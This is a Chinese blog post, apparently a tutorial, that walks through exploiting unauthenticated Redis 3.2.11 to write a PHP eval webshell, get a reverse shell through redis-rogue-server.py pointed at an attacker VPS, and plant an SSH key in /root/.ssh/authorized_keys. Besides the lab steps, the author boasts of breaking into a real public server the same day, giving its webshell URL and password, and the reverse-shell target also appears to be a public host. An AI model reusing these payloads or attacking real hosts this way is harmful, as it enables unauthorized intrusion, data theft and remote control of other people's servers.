redis 远程主机强迫关闭了一个现有的连接_Redis未授权漏洞复现

漏洞环境

Ubuntu环境链接:https://pan.baidu.com/s/1crfnHpc-XGE23bFXSDhM0g提取码:nlszKali环境链接:https://pan.baidu.com/s/1RgN8A6k6t5QXaHpJewFg-A提取码:t6u1Ubuntu作为靶机Kali用来攻击靶机Redis环境http://download.redis.io/releases/redis-3.2.11.tar.gz

漏洞危害

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行文件的读写等操作,可往网站的根目录写入后门文件进而get shell,也可以通过上传exp来进行反弹shell进而命令执行。攻击者也可以成功地将自己的ssh公钥写入到目标服务器的 /root/.ssh文件夹下的authotrized_keys文件中,进而可以使用对应的私钥直接使用ssh服务登录目标服务器实现免密登陆。(即未授权访问,get shell,反弹shell,免密登陆)

漏洞复现

环境搭建:ubuntu和kali同时进行

一:安装redis服务

从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

f7721249b79221ec637aafdd55f13523.png

8319a9438ac04fc473c20f1131e3fae9.png

下载完成后,解压压缩包
tar xzf redis-3.2.11.tar.gz
然后进入解压后的目录:cd redis-3.2.11,输入make并执行

出现如下即编译成功:

7bfd0b974b18dad4071cae593ccb1755.png

1b7744821fa9dd5d85abfe9473cf2d98.png

make结束后,进入src目录:cd src切换成root权限,redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

5ab35aaeec47cd4a6fc08651eefca7c3.png

a178d60dc2d1589460067d1940090ad7.png

启动服务redis-server

54e568e2b75c8860d15e47824625a6ec.png

1eade5dbdc3043d9c4078b592662e083.png

此时我们再检查下/usr/bin目录下是否有redis-cli和redis-server:

ls /usr/bin | grep redis

64fda997bb9ed01688e0218e645086d3.png

8fee8a679f447fc15ef5288059aed6d3.png

返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

cp redis.conf /etc

4baa071f29d6778bcfe43cf458b7ca79.png

9ec87fd4a0f3dea2dd00fd743ef4dced.png

编辑etc中的redis配置文件redis.conf
gedit /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务: 加个#即可

541e210e3cd747d1a2701a6d8064a46a.png

1704d03064243e31efb80ca482277b3e.png

关闭保护模式,允许远程连接redis服务:将yes改为no

824cf709bda623380179aaaa5eb897d5.png

e04965c2e39986bd60432a9cc2becf41.png

然后重启这俩虚拟机,开启redis服务,到这里即可去验证redis未授权访问、get shell和反弹shell漏洞了。

验证成功,我们来看免密登陆漏洞

二:安装ssh服务

由于Ubuntu和Kali Linux已经安装有ssh服务,但默认没有启动

dee646b30d2027525b1448f35e18f240.png

251faff2d97f7a8053849bdece84ad58.png

说明你的虚拟机没有安装ssh服务,此时你需要运行以下命令安装ssh服务:

sudo apt-get install openssh-server

再次运行以下命令确认ssh服务是否开启:

ps -e | ssh

然后ubuntu上创建一个文件

mkdir /root/.ssh

7efcbaad70cc2c03c73ab77f967a89ce.png

然后去验证免密登陆漏洞

三:漏洞复现利用场景

Redis未授权访问

Ubuntu:192.168.237.140

Kali:192.168.237.141

使用kali去攻击ubuntu(一定记住修改完redis的配置文件要重启这俩虚拟机,开启redis服务)

./redis-cli -h 192.168.237.140

88cc8778dd3040c4f89fab8a77810519.png

Get shell

使用kali去攻击ubuntu

先查看ubuntu上的网站的根目录

config get dir

7ac69bdf32ab8d1c6bc2564574a4f41b.png

假如红框内的路径为网站的根目录(网站根目录还是比较难找的,可以使用网站的phpinfo或者利用报错信息爆路径以及js包路径泄露等方式)

我们把shell写入红框的路径下

config set dir /home/zhang/  #靶机 Web 网站的目录config set db filename zjt.php   # 写入的文件名set webshell  "<?php @eval($_POST[1])?>"   save    # 保存

e2eadea9c6a324eb5ab906077b522110.png

同时也可以查看ubuntu验证一下是否写入成功

b1ed763dd0a01bb571643c52f07ba2b0.png

然后直接连接即可

哈哈哈  比较幸运,下午刚发完推文晚上就碰到一个实战,成功get shell

c8169c979eb73dd7f118c13fcfa85094.png

此时马儿已经写入到网站的根目录下了,未授权访问的端口是41436,但是网站对应的端口是41435所以连接马儿的时候也是使用的网站对应的端口41435

http://119.3.187.27:41435/shell.php口令为cmd

23a697333c527680a608eb3baf706aaa.png

反弹shell执行系统命令

Exp链接:https://pan.baidu.com/s/158yZDDMFPgOyIbd1QOVTuw 提取码:55u3

目标站点:

152.136.107.*

Vps:

65.49.206.*

首先把exp的文件下载解压

95ebc44bfa3a5d00b2ec3335d90756cf.png

登录vps新建文件夹4-5进入目录4-5然后使用rz命令把箭头指向的这俩文件传入到vps的4-5目录下

44dee9c9dfb9823d3e8fa4facc751487.png

执行语句(7141端口就是任意选取的vps的监听端口,随意设置就行)python3 redis-rogue-server.py --rhost 152.136.107.* --rport 6379 --lhost 65.49.206.* --lport 7141得到shell执行命令whoami、ls等

5fec64eaa60341163b12ce0c414adb73.png

免密登陆

首先在kali生成ssh公钥和私钥,密码设置为空

2bc307ae81b1383ff460e54ed151ede2.png

进入.ssh目录将生成的公钥保存到ssh.txt

eded55054a016ad19863dbf8b5a9c059.png

ssh.txt通过redis未授权访问漏洞写入ubuntu

这里需要注意箭头指向的test这个test不是随便写的,是未授权访问漏洞执行keys * 得到的,得到的是什么用户名这里就写什么用户名

7f7a5d3d2ba78e0e927fe18739bb2ba9.png

Kali使用未授权访问漏洞执行命令config get dir得到redis备份的路径

42bac7bf5f49b99f2f7c0d7d5e920bc6.png

更改备份路径为/root/.ssh/

13312f6b6220f1624544311e7b6ce611.png

设置上传公钥的备份文件名字为authorized_keys检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此,我们成功地写入ssh公钥到靶机上

646f1b603edd4174bb4f54090d0c6c53.png

可以登录ubuntu进行验证,写入成功

3fbdd0f5918de2e6ba3dc821716e0185.png

使用kali免密登陆到ubuntu 

35a06ccd3d3d7dbe42e99925cf7e76e5.png

登录成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值